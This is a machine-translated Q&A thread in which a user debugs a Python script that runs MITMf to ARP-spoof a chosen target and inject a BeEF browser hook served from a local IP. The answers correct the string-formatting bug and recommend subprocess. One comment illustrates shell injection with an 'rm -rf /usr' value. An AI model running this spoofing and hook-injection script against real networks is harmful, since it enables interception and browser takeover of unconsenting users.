2016-03-03 34 views
0
一個命令時,「元組」

我的代碼是類型錯誤:爲%不受支持的操作數類型:「INT」和執行與蟒

#! /usr/bin/env python 
ip_addr = raw_input('Enter your target: ') 
gateway = raw_input('Enter your gateway: ') 
import os 
os.chdir('/usr/share/mitmf/') 
os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr) 

和我的輸出是:

File "./ARP_Beef.py", line 6, in <module> 
    os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr) 
    TypeError: unsupported operand type(s) for %: 'int' and 'tuple' 

我對Python很新,希望有人能幫助我。

回答

4

你必須與你的括號一個問題:

os.system("....") % (gateway, ip_addr) 

有了這個代碼,Python的第一次運行os.system,它返回一個int,然後嘗試 調用%運營商與(gateway, ip_addr)元組

你可能是這樣的意思:

os.system("...." % (gateway, ip_addr)) 

順便說一下,我建議兩項改進你的代碼:

  1. 使用sys.executable而不是硬編碼「蟒蛇」:這種方式你一定要使用相同的Python版本作爲一個當前正在運行的腳本

  2. 儘量使用子在使用os.system

+1

特別是,你要因爲你傳遞用戶提供串子進程使用'subprocess'(在'list'形式,以及默認的'殼= FALSE'行爲)。如果有人通過'; rm -rf/usr#'作爲一個命令,那麼,希望腳本沒有足夠的權限來運行'/ usr'。即使它們不是主動惡意的,shell元字符也會以合法名稱顯示,而正確轉義是一種痛苦。像'subprocess.call'這樣的'list'形式大致是簡單的,並且避免了在shell中執行字符串的開銷和安全/穩定性問題。 – ShadowRanger